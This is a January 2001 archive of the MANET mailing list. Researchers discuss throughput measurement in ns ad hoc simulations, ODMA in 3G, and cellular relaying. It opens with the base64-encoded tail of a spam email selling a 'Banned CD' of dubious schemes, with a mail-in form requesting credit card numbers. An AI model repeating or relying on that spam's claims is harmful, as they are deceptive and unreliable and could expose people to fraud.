MTk+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+DQpDb21wbGV0ZSBndWlk ZSBvbiBob3cgdG8gY2xhaW0gcHVibGljIGxhbmQ8L2ZvbnQ+PC9mb250Pg0KPGJyPjxmb250 IGNvbG9yPSIjNjY2NjY2Ij48Zm9udCBzaXplPSsxPm9mZmVyZWQgYnkgdGhlIEdvdmVybm1l bnQuIFlvdQ0KY2FuIGZpbmQgeW91cjwvZm9udD48L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9 IiM2NjY2NjYiPjxmb250IHNpemU9KzE+ZHJlYW0gaG9tZSBmb3IgYSByaWRpY3Vsb3VzbHkg bG93DQpwcmljZSBvciBidXk8L2ZvbnQ+PC9mb250Pg0KPGJyPjxmb250IGNvbG9yPSIjNjY2 NjY2Ij48Zm9udCBzaXplPSsxPnByb3BlcnRpZXMgdG8gcmVzZWxsIGZvciBhIGh1Z2UNCnBy b2ZpdCE8L2ZvbnQ+PC9mb250Pg0KPHA+PGltZyBTUkM9Imh0dHA6Ly9jb21wdXpvbmV1c2Eu Y29tL2ltYWdlcy9idXR0b24uZ2lmIiBoZWlnaHQ9MTkgd2lkdGg9MTk+PGZvbnQgY29sb3I9 IiM2NjY2NjYiPjxmb250IHNpemU9KzE+DQpBY2NlcHQgY2hlY2tzIGZyb20geW91ciBjdXN0 b21lcnMgYnkgZmF4LDwvZm9udD48L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2NjYi Pjxmb250IHNpemU9KzE+cGhvbmUgYW5kIGVtYWlsIHdpdGggdGhlIGZ1bGwgd29ya2luZw0K dmVyc2lvbiBvZjwvZm9udD48L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxm b250IHNpemU9KzE+Q2hlY2tlciBTb2Z0d2FyZSBpbmNsdWRlZCE8L2ZvbnQ+PC9mb250Pg0K PHA+PGltZyBTUkM9Imh0dHA6Ly9jb21wdXpvbmV1c2EuY29tL2ltYWdlcy9idXR0b24uZ2lm IiBoZWlnaHQ9MTkgd2lkdGg9MTk+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9 KzE+DQpCdXNpbmVzcyBzb2Z0d2FyZSB0byBoZWxwIHlvdSBydW4geW91ciBzbWFsbDwvZm9u dD48L2ZvbnQ+DQo8YnI+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+YnVz aW5lc3MsIGluY2x1ZGluZyBsYWJlbCBtYWtlcg0Kc29mdHdhcmUsIG1vbmV5PC9mb250Pjwv Zm9udD4NCjxicj48Zm9udCBjb2xvcj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT5tYW5hZ2Vt ZW50IHNvZnR3YXJlLCBJUlMgZm9yZ2l2ZW5lc3MNCnByb2dyYW0sPC9mb250PjwvZm9udD4N Cjxicj48Zm9udCBjb2xvcj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT5kYXRhYmFzZSBzb2Z0 d2FyZSwgYW5kIG11Y2ggbW9yZS48L2ZvbnQ+PC9mb250Pg0KPHA+PGltZyBTUkM9Imh0dHA6 Ly9jb21wdXpvbmV1c2EuY29tL2ltYWdlcy9idXR0b24uZ2lmIiBoZWlnaHQ9MTkgd2lkdGg9 MTk+PGZvbnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+DQpBIGh1Z2UgY29sbGVj dGlvbiBvZiBzY3JlZW5zYXZlcnMsIGdyYXBoaWNzLDwvZm9udD48L2ZvbnQ+DQo8YnI+PGZv bnQgY29sb3I9IiM2NjY2NjYiPjxmb250IHNpemU9KzE+Y2xpcGFydCwgYW5kIGRlc2t0b3Ag dGhlbWVzIHRvDQpzcGljZSB1cCB5b3VyIGNvbXB1dGVyLjwvZm9udD48L2ZvbnQ+DQo8cD48 aW1nIFNSQz0iaHR0cDovL2NvbXB1em9uZXVzYS5jb20vaW1hZ2VzL2J1dHRvbi5naWYiIGhl aWdodD0xOSB3aWR0aD0xOT48Zm9udCBjb2xvcj0iIzY2NjY2NiI+PGZvbnQgc2l6ZT0rMT4N Ck1VQ0gsIE1VQ0ggTU9SRSB0aGF0IHdlIGRvbid0IGhhdmUgcm9vbSB0byBsaXN0ITwvZm9u dD48L2ZvbnQ+DQo8cD48Zm9udCBzaXplPSsxPldlIGFyZSBzbyBjb25maWRlbnQgdGhhdCB5 b3Ugd2lsbCBsb3ZlIHRoaXMgQ0QgdGhhdCB3ZTwvZm9udD4NCjxicj48Zm9udCBzaXplPSsx Pm9mZmVyIGEgZnVsbCAzMC1kYXksIG5vIHF1ZXN0aW9ucyBhc2tlZCBtb25leS1iYWNrPC9m b250Pg0KPGJyPjxmb250IHNpemU9KzE+Z3VhcmFudGVlLiBUbyBvcmRlciB0aGUgIkJhbm5l ZCBDRCIgcmlnaHQgbm93IGZvciB0aGU8L2ZvbnQ+DQo8YnI+PGZvbnQgc2l6ZT0rMT5zdXBl ciBsb3cgcHJpY2Ugb2Ygb25seSAkMTkuOTksIGp1c3QgY2xpY2sgb24gdGhlIGxpbms8L2Zv bnQ+DQo8YnI+PGZvbnQgc2l6ZT0rMT5iZWxvdyB0byBwYXkgd2l0aCBhIFZpc2Egb3IgTWFz dGVyY2FyZDo8L2ZvbnQ+DQo8YnI+Jm5ic3A7DQo8dGFibGUgQk9SREVSPTAgQ09MUz0yIFdJ RFRIPSI1MCUiID4NCjx0cj4NCjx0ZD48Zm9udCBzaXplPSsyPjxhIGhyZWY9Imh0dHA6Ly93 d3cuY29tcHV6b25ldXNhLmNvbS9jY3BheW1lbnQvYmFubmVkY2Q3Mi5odG0iPk9yZGVyDQpO b3chPC9hPjwvZm9udD48L3RkPg0KDQo8dGQ+DQo8Y2VudGVyPjxpbWcgU1JDPSJodHRwOi8v Y29tcHV6b25ldXNhLmNvbS9pbWFnZXMvZ3VhcmFudGVlLmdpZiIgaGVpZ2h0PTk2IHdpZHRo PTk1PjwvY2VudGVyPg0KPC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KDQo8cD5PciB5b3UgbWF5 IHBheSB3aXRoIGNhc2gsIGNoZWNrIG9yIG1vbmV5IG9yZGVyIGJ5IHByaW50aW5nIHRoZSBv cmRlcg0KPGJyPmZvcm0gYmVsb3cgYW5kIHNlbmRpbmcgaXQgd2l0aCB5b3VyIHBheW1lbnQu DQo8cD48Yj4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIENVVCBIRVJFIC0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tPC9iPg0KPHA+UHJvZHVjdDogIlRoZSBCYW5uZWQgQ0QiDQo8YnI+UHJp Y2U6ICQxOS45OSArICQ0LjAxIHNoaXBwaW5nL2hhbmRsaW5nDQo8cD5IT1cgVE8gT1JERVIg QlkgTUFJTDogUHJpbnQgb3V0IHRoaXMgb3JkZXIgZm9ybSBhbmQgc2VuZCBjYXNoLA0KPGJy PnBlcnNvbmFsIGNoZWNrLCBtb25leSBvcmRlciBvciBjYXNoaWVyJ3MgY2hlY2sgdG8gdGhl IGFkZHJlc3MgbGlzdGVkDQpiZWxvdzoNCjxwPlF1aWtzaWx2ZXIgRW50ZXJwcmlzZXMgSW5j Lg0KPGJyPjM3OTIgQnJvYWR3YXkgIzM5OA0KPGJyPk5ldyBZb3JrLCBOWSAxMDAzMg0KPHA+ WW91ciBTaGlwcGluZyBJbmZvcm1hdGlvbjoNCjxwPllvdXIgTmFtZV9fX19fX19fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXw0KPGJyPllvdXIgQWRkcmVzc19fX19f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXw0KPGJyPllvdXIgQ2l0eV9f X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXw0KPGJyPlN0YXRl IC8gWmlwX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXw0KPGJy PlBob25lICM6IF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f Xw0KPGJyPihGb3IgcHJvYmxlbXMgd2l0aCB5b3VyIG9yZGVyIG9ubHkuIE5vIHNhbGVzbWVu IHdpbGwgY2FsbC4pDQo8cD5FbWFpbCBBZGRyZXNzX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fXw0KPHA+UGxlYXNlIG5vdGUgdGhhdCBtYWlsLWluIG9yZGVycyBt YXkgYmUgZGVsYXllZCAyLTQgd2Vla3MuDQo8cD5bIF0gSSBhbSBlbmNsb3NpbmcgYSBjaGVj ayBvciBtb25leSBvcmRlciBmb3IgJDI0LjAwDQo8cD5bIF0gSSBhbSBtYWlsaW5nIG15IGNy ZWRpdCBjYXJkIG51bWJlci4gKE5vdGUgeW91ciBjYXJkIHdpbGwgYmUgY2hhcmdlZA0KZm9y ICQyNC4wMCkNCjxwPklmIHBheWluZyBieSBjcmVkaXQgY2FyZCwgcGxlYXNlIGZpbGwgaW4g dGhlIGluZm9ybWF0aW9uIGJlbG93Og0KPHA+Q3JlZGl0IENhcmQgTnVtYmVyOl9fX19fX19f X19fX19fX19fX19fX19fX19fX19fX19fDQo8YnI+RXhwaXJhdGlvbiBEYXRlOl9fX19fX19f X19fX19fX19fX19fX19fX19fXw0KPGJyPlNpZ25hdHVyZTpfX19fX19fX19fX19fX19fX19f X19fX19fDQo8YnI+RGF0ZTpfX19fX19fX19fX19fX19fX19fXw0KPHA+Tk9URTogVGhpcyBD RCBpcyBmb3IgaW5mb3JtYXRpb25hbCwgZWR1Y2F0aW9uYWwsIG9yDQo8YnI+ZW50ZXJ0YWlu bWVudCBwdXJwb3NlcyBvbmx5LiZuYnNwOyBTb21lIG9mIHRoZSBhY3Rpdml0aWVzDQo8YnI+ ZGVzY3JpYmVkIG9uIHRoaXMgQ0QgbWF5IGJlIGlsbGVnYWwgaWYgY2FycmllZCBvdXQuDQo8 YnI+VGhpcyBDRCBjb250YWlucyBsaW5rcyBhbmQgYWRkcmVzc2VzIG9mIGNvbXBhbmllcw0K PGJyPmFuZCBpbmRpdmlkdWFscyB3aGljaCBwcm9kdWNlIHZhcmlvdXMgcHJvZHVjdHMsIG9y DQo8YnI+b2ZmZXIgdmFyaW91cyBzZXJ2aWNlcywgd2hpY2ggbWF5IGJlIGlsbGVnYWwgaW4g eW91cg0KPGJyPmNvdW50cnksIHN0YXRlLCBvciBjaXR5LiZuYnNwOyBIb3dldmVyLCBpdCBp cyBwZXJmZWN0bHkNCjxicj5MRUdBTCB0byBwdXJjaGFzZSBhbmQgcG9zc2VzcyB0aGUgQmFu bmVkIENEIGluIHRoZQ0KPGJyPlVuaXRlZCBTdGF0ZXMgb2YgQW1lcmljYS4mbmJzcDsgQ29u dGFpbnMgYXBwcm94aW1hdGVseQ0KPGJyPjEwMCBtZWdzIG9mIGluZm9ybWF0aW9uLg0KPHA+ U2hpcHBpbmcgb3V0c2lkZSBVU0EgYWRkICQxMC4wMA0KPHA+KioqKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioNCjxicj5Zb3UgYXJl IHJlY2lldmluZyBhbiB1bnNvbGljaXRlZCBjb21tZXJjaWFsIGVtYWlsIGZyb20NCjxicj5R dWlrc2lsdmVyIEVudGVycHJpc2VzIEluYy4mbmJzcDsgV2UgcmVjb2duaXplIHRoYXQgeW91 IG1heQ0KPGJyPm5vdCB3aXNoIHRvIHJlY2lldmUgc3VjaCBlbWFpbHMgaW4gdGhlIGZ1dHVy ZSwgYW5kIHdlDQo8YnI+aGF2ZSBwcm92aWRlZCBhIGxpbmsgdG8gYXV0b21hdGljYWxseSBh bmQgaW5zdGFudGx5DQo8YnI+cmVtb3ZlIHlvdXJzZWxmOiA8YSBocmVmPSJodHRwOi8vd3d3 LmNvbXB1em9uZXVzYS5jb20vcmVtb3ZlLmh0bSI+UkVNT1ZFPC9hPg0KPGJyPlRoaXMgbWVz c2FnZSBpcyBiZWluZyBzZW50IHRvIHlvdSBpbiBjb21wbGlhbmNlIHdpdGgNCjxicj5mZWRl cmFsIGd1aWRlbGluZXMgZ292ZXJuaW5nIHRoZSB0cmFuc21pc3Npb24gb2YNCjxicj51bnNv bGljaXRlZCBjb21tZXJjaWFsIGVtYWlsLCBpbmNsdWRpbmcgdGhlIHByb3Zpc2lvbiBvZg0K PGJyPmNvbnRhY3QgaW5mb3JtYXRpb24gZm9yIG91ciBjb21wYW55IHdpdGhpbiB0aGlzIGVt YWlsLCBhDQo8YnI+dmFsaWQgcmV0dXJuIGVtYWlsIGFkZHJlc3MsIGFuZCBhIHdheSBmb3Ig Y3VzdG9tZXJzDQo8YnI+dG8gcmVtb3ZlIHRoZW1zZWx2ZXMuJm5ic3A7IFBsZWFzZSBub3Rl LCBob3dldmVyLCB0aGF0IG91cg0KPGJyPmVtYWlsIGFkZHJlc3Mgd2FzIHZhbGlkIGF0IHRo ZSB0aW1lIG9mIHNlbmRpbmcsIGJ1dCBtYXkNCjxicj5iZSBjYW5jZWxsZWQgYnkgdGhlIElT UCBzaG9ydGx5IHRoZXJlYWZ0ZXIgZHVlIHRvIG91cg0KPGJyPnVzZSBvZiB1bnNvbGljaXRl ZCBlbWFpbC4mbmJzcDsgWW91IGNhbiByZWFkIGFib3V0IHRoZSB2YXJpb3VzDQo8YnI+bGF3 cyBnb3Zlcm5pbmcgdW5zb2xpY2l0ZWQgZW1haWw6IGh0dHA6Ly9zcGFtbGF3cy5jb20NCjxi cj4iVW5zb2xpY2l0ZWQgY29tbWVyY2lhbCBlbGVjdHJvbmljIG1haWwgY2FuIGJlIGFuIGlt cG9ydGFudA0KPGJyPm1lY2hhbmlzbSB0aHJvdWdoIHdoaWNoIGJ1c2luZXNzZXMgYWR2ZXJ0 aXNlIGFuZCBhdHRyYWN0DQo8YnI+Y3VzdG9tZXJzIGluIHRoZSBvbmxpbmUgZW52aXJvbm1l bnQuIiZuYnNwOyAtLSBVLlMuIENvbmdyZXNzLA0KPGJyPkguUi4gMTA2dGggQ09OR1JFU1Mg MmQgU2Vzc2lvbiBILiBSLiAzMTEzIFNlYy4gMiAoYSkzIEp1bHkNCjxicj4xOSwgMjAwMCBo dHRwOi8vd3d3LnNwYW1sYXdzLmNvbS9mZWRlcmFsL2hyMzExMy5odG1sDQo8YnI+KioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioN Cjxicj4mbmJzcDsNCjxicj4mbmJzcDsNCjwvYm9keT4NCjwvaHRtbD4NCg== ------=_NextPart_000_001__15747670_57045.94-- From owner-manet@itd.nrl.navy.mil Tue Jan 30 12:31:42 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA13550 for ; Tue, 30 Jan 2001 12:31:41 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id KAA06863 for manet-outgoing; Tue, 30 Jan 2001 10:23:47 -0500 (EST) Received: from rmx195-mta.mail.com (rmx195-mta.mail.com [165.251.48.42]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id KAA06857 for ; Tue, 30 Jan 2001 10:23:44 -0500 (EST) Received: from web129-mc (web129-mc.mail.com [165.251.48.149]) by rmx195-mta.mail.com (8.9.3/8.9.3) with SMTP id KAA25609 for ; Tue, 30 Jan 2001 10:23:45 -0500 (EST) Message-ID: <384669554.980868225129.JavaMail.root@web129-mc> Date: Tue, 30 Jan 2001 10:23:45 -0500 (EST) From: Diego Pamio To: manet@itd.nrl.navy.mil Subject: Throughput measurement in Ad-Hoc Networks Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: mail.com X-Originating-IP: 200.43.120.224 X-MIME-Autoconverted: from quoted-printable to 8bit by itd.nrl.navy.mil id KAA06858 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk X-MIME-Autoconverted: from 8bit to quoted-printable by itd.nrl.navy.mil id KAA06863 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id MAA13550 Hi. Does anybody knows how to obtain a throughput measurement of an ad-hoc network? Thanks. Lucas F. Ledesma Diego N. Pamio Facultad de Ingeniería Universidad Católica de Córdoba Argentina ______________________________________________ FREE Personalized Email at Mail.com Sign up at http://www.mail.com/?sr=signup From owner-manet@itd.nrl.navy.mil Tue Jan 30 12:37:55 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA13716 for ; Tue, 30 Jan 2001 12:37:53 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id KAA06755 for manet-outgoing; Tue, 30 Jan 2001 10:20:49 -0500 (EST) Received: from rmx195-mta.mail.com (rmx195-mta.mail.com [165.251.48.42]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id KAA06750 for ; Tue, 30 Jan 2001 10:20:46 -0500 (EST) Received: from web147-mc (web147-mc.mail.com [165.251.48.144]) by rmx195-mta.mail.com (8.9.3/8.9.3) with SMTP id KAA21508 for ; Tue, 30 Jan 2001 10:20:39 -0500 (EST) Message-ID: <384068109.980867990697.JavaMail.root@web147-mc> Date: Tue, 30 Jan 2001 10:19:50 -0500 (EST) From: Diego Pamio To: manet@itd.nrl.navy.mil Subject: Throughput measurement in Ad-Hoc Networks Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: mail.com X-Originating-IP: 200.43.120.224 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Hi. We are trying to measure the throughput of an ad-hoc Network that we have simulated using ns (2.1b7a). Does anyone know how to do this? We tried to use per-flow monitors but it seems it doesn't work in ad-hoc networks because it needs a (wired) link between the nodes. Thank you. Lucas F. Ledesma ______________________________________________ FREE Personalized Email at Mail.com Sign up at http://www.mail.com/?sr=signup From owner-manet@itd.nrl.navy.mil Tue Jan 30 12:39:15 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA13549 for ; Tue, 30 Jan 2001 12:31:41 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id KAA06832 for manet-outgoing; Tue, 30 Jan 2001 10:23:28 -0500 (EST) Received: from rmx420-mta.mail.com (rmx420-mta.mail.com [165.251.48.152]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id KAA06827 for ; Tue, 30 Jan 2001 10:23:25 -0500 (EST) Received: from web628-mc (web628-mc.mail.com [165.251.48.136]) by rmx420-mta.mail.com (8.9.3/8.9.3) with SMTP id KAA16347 for ; Tue, 30 Jan 2001 10:23:25 -0500 (EST) Message-ID: <382308877.980868204957.JavaMail.root@web628-mc> Date: Tue, 30 Jan 2001 10:23:24 -0500 (EST) From: Diego Pamio To: manet@itd.nrl.navy.mil Subject: Per-Flow Monitors in Ad-Hoc Networks Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: mail.com X-Originating-IP: 200.43.120.224 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Hi. Does anybody knows how to use Monitors in ad-hoc networks? Thanks. Diego N. Pamio ______________________________________________ FREE Personalized Email at Mail.com Sign up at http://www.mail.com/?sr=signup From owner-manet@itd.nrl.navy.mil Tue Jan 30 13:22:16 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA14764 for ; Tue, 30 Jan 2001 13:22:14 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id LAA09408 for manet-outgoing; Tue, 30 Jan 2001 11:19:03 -0500 (EST) Received: from hermes.research.kpn.com (hermes.research.kpn.com [139.63.192.8]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id LAA09393 for ; Tue, 30 Jan 2001 11:19:00 -0500 (EST) Received: from l04.research.kpn.com (l04.research.kpn.com [139.63.192.204]) by research.kpn.com (PMDF V5.2-31 #42699) with ESMTP id <01JZIYAI1FVQ0007NC@research.kpn.com> for manet@itd.nrl.navy.mil; Tue, 30 Jan 2001 17:18:53 +0100 Received: by l04.research.kpn.com with Internet Mail Service (5.5.2653.19) id ; Tue, 30 Jan 2001 17:18:53 +0100 Content-return: allowed Date: Tue, 30 Jan 2001 17:18:52 +0100 From: "Groten, D." Subject: RE: research topics To: "'Robin Poss'" , "'manet@itd.nrl.navy.mil'" Message-id: <59063B5B4D98D311BC0D0001FA7E45220428E6A5@l04.research.kpn.com> MIME-version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-type: text/plain; charset="iso-8859-1" Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Hi, Robin Poss wrote: >(...) >Second idea: >------------- >How about a "dual" mobile phone, able to switch >between a normal cellphone mode and an ad-hoc mode, >the decision to swich being based, for example, on >maximizing battery life, or minimizing bandwidth >usage? In ad-hoc mode, the phone would use a chain of >other phones not to reach the party called, but to >reach the nearest (or otherwise clerverly chosen) base >station. >(...) >I think "3G TR 25.924 ,Opportunity Driven Multiple >Access" deals with a similar idea. Let me add some information about ODMA, as proposed in 3G TR 25.924. In a CDMA system (which 3G is), the total power of multiple users at a receiver determines the noise floor after decorrelation. Therefore, power control is of crucial importance to all CDMA systems. ODMA aims to reduce the power per call by finding the optimum communication opportunity in an intelligent network. It is proposed to be an added feature of the UMTS-TDD mode (unpaired frequency band). Initial simulations by Vodaphone have shown that a significant increase in capacity can be obtained, mostly in environments with many obstacles, where shadowing from buildings can be avoided through multi-hopping. In summary, ODMA is a method to increase the capacity of a UMTS cell, not a proper ad hoc networking method (all calls are finally routed to the base station). I would like to add, Robin, that operators such as KPN are actively investigating the possibilities offered by ad hoc networking and that the scenarios you sketch are not to be rejected just because they may threaten our income. On the contrary, facilities to get cheap access to internet or communicate cheaply between devices only increases the demand on mobile data services... One last question, Robin, could you maybe tell us about your background? Which company or institution do you work for? I am always interested to share ideas in this field. Greetings, Dirk. ------------------------------------------------------------------ Dirk Groten KPN Research ------------------------------------------------------------------ P. O. Box 421 Tel: +31 6 53747220 2260 AK Leidschendam Fax: +31 70 3326477 The Netherlands E-mail: d.groten@kpn.com From owner-manet@itd.nrl.navy.mil Tue Jan 30 14:52:55 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA16589 for ; Tue, 30 Jan 2001 14:52:53 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id MAA14024 for manet-outgoing; Tue, 30 Jan 2001 12:53:26 -0500 (EST) Received: from ICSI.Berkeley.EDU (fruitcake.ICSI.Berkeley.EDU [192.150.186.11]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id MAA14019 for ; Tue, 30 Jan 2001 12:53:23 -0500 (EST) Received: from ieee.org (applepie.ICSI.Berkeley.EDU [192.150.186.198]) by ICSI.Berkeley.EDU (8.9.0/8.9.0) with ESMTP id JAA18847; Tue, 30 Jan 2001 09:53:17 -0800 (PST) Message-ID: <3A76FF8B.F5421582@ieee.org> Date: Tue, 30 Jan 2001 09:53:15 -0800 From: Miguel Sanchez X-Mailer: Mozilla 4.75 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "Groten, D." , manet@itd.nrl.navy.mil Subject: Re: research topics References: <59063B5B4D98D311BC0D0001FA7E45220428E6A5@l04.research.kpn.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Hi Dirk, I have recenlty learned that Vodaphone is no longer interested in ODMA, so it is out of 3G. I think the idea can also be adapted for WLANs and it sounds like a good idea to me (HIPERLAN standard includes something similar: Forwarding nodes). However there are some MAC issues in 802.11 that do not allow implementation based on current standard (two different coordination functions). Nice to learn that KPN is wise enough to consider this approach. Regards, Miguel "Groten, D." wrote: > Hi, > > > >(...) > >I think "3G TR 25.924 ,Opportunity Driven Multiple > >Access" deals with a similar idea. > > Let me add some information about ODMA, as proposed in 3G TR 25.924. In a > CDMA system (which 3G is), the total power of multiple users at a receiver > determines the noise floor after decorrelation. Therefore, power control is > of crucial importance to all CDMA systems. ODMA aims to reduce the power per > call by finding the optimum communication opportunity in an intelligent > network. It is proposed to be an added feature of the UMTS-TDD mode > (unpaired frequency band). Initial simulations by Vodaphone have shown that > a significant increase in capacity can be obtained, mostly in environments > with many obstacles, where shadowing from buildings can be avoided through > multi-hopping. > In summary, ODMA is a method to increase the capacity of a UMTS cell, not a > proper ad hoc networking method (all calls are finally routed to the base > station). > > I would like to add, Robin, that operators such as KPN are actively > investigating the possibilities offered by ad hoc networking and that the > scenarios you sketch are not to be rejected just because they may threaten > our income. On the contrary, facilities to get cheap access to internet or > communicate cheaply between devices only increases the demand on mobile data > services... > > One last question, Robin, could you maybe tell us about your background? > Which company or institution do you work for? I am always interested to > share ideas in this field. > > Greetings, > Dirk. > -- Miguel Sanchez International Computer Science Institute 1947 Center St, suite 636 Berkeley, CA, 94704 USA voice: (510) 666 2906 email: misan@icsi.berkeley.edu From owner-manet@itd.nrl.navy.mil Tue Jan 30 17:29:37 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA18524 for ; Tue, 30 Jan 2001 17:29:37 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id PAA19707 for manet-outgoing; Tue, 30 Jan 2001 15:11:38 -0500 (EST) Received: from fargo.cisco.com (fargo.cisco.com [171.70.170.202]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id PAA19699 for ; Tue, 30 Jan 2001 15:11:36 -0500 (EST) Received: from gaggelou-81kcdt.cisco.com (lon-async14.cisco.com [10.49.255.113]) by fargo.cisco.com (8.8.6 (PHNE_17190)/CISCO.SERVER.1.2) with SMTP id MAA16535; Tue, 30 Jan 2001 12:11:30 -0800 (PST) Message-Id: <4.1.20010130195155.00937e20@fargo.cisco.com> X-Sender: gaggelou@fargo.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Tue, 30 Jan 2001 20:01:47 +0000 To: "Groten, D." From: George Aggelou Subject: RE: research topics Cc: "'Robin Poss'" , "'manet@itd.nrl.navy.mil'" In-Reply-To: <59063B5B4D98D311BC0D0001FA7E45220428E6A5@l04.research.kpn. com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Hello All, With regard to adding ad hoc relaying capability onto mobile cellular phones, you could have a look at one of my latest publications on the topic. The article can be found in: Aggelou G. and Tafazolli R., "On the Relaying Capability of Next Generation GSM Cellular Network", to appear in IEEE Personal Communications Magazine , Special Issue on Advances in Mobile Ad Hoc Networking, vol. 8, no 1, February 2001. Regards, George A. >Hi, > >Robin Poss wrote: >>(...) >>Second idea: >>------------- >>How about a "dual" mobile phone, able to switch >>between a normal cellphone mode and an ad-hoc mode, >>the decision to swich being based, for example, on >>maximizing battery life, or minimizing bandwidth >>usage? In ad-hoc mode, the phone would use a chain of >>other phones not to reach the party called, but to >>reach the nearest (or otherwise clerverly chosen) base >>station. >>(...) >>I think "3G TR 25.924 ,Opportunity Driven Multiple >>Access" deals with a similar idea. > >Let me add some information about ODMA, as proposed in 3G TR 25.924. In a >CDMA system (which 3G is), the total power of multiple users at a receiver >determines the noise floor after decorrelation. Therefore, power control is >of crucial importance to all CDMA systems. ODMA aims to reduce the power per >call by finding the optimum communication opportunity in an intelligent >network. It is proposed to be an added feature of the UMTS-TDD mode >(unpaired frequency band). Initial simulations by Vodaphone have shown that >a significant increase in capacity can be obtained, mostly in environments >with many obstacles, where shadowing from buildings can be avoided through >multi-hopping. >In summary, ODMA is a method to increase the capacity of a UMTS cell, not a >proper ad hoc networking method (all calls are finally routed to the base >station). > >I would like to add, Robin, that operators such as KPN are actively >investigating the possibilities offered by ad hoc networking and that the >scenarios you sketch are not to be rejected just because they may threaten >our income. On the contrary, facilities to get cheap access to internet or >communicate cheaply between devices only increases the demand on mobile data >services... > >One last question, Robin, could you maybe tell us about your background? >Which company or institution do you work for? I am always interested to >share ideas in this field. > >Greetings, >Dirk. > >------------------------------------------------------------------ >Dirk Groten KPN Research >------------------------------------------------------------------ >P. O. Box 421 Tel: +31 6 53747220 >2260 AK Leidschendam Fax: +31 70 3326477 >The Netherlands E-mail: d.groten@kpn.com * * * * * * * * * * * * * * * * * * * * * * * * Dr. George Aggelou UMTS Network Consultant Cisco Systems 4 The Square, Stockley Park, Uxbridge Middlesex, UB11 1BN, UK Office: +44 (0) 20 873 44813 Mobile :+44 (0) 77 409 25900 e-mail :gaggelou@cisco.com * * * * * * * * * * * * * * * * * * * * * * * * From owner-manet@itd.nrl.navy.mil Tue Jan 30 18:40:53 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA19305 for ; Tue, 30 Jan 2001 18:40:53 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id RAA24029 for manet-outgoing; Tue, 30 Jan 2001 17:09:54 -0500 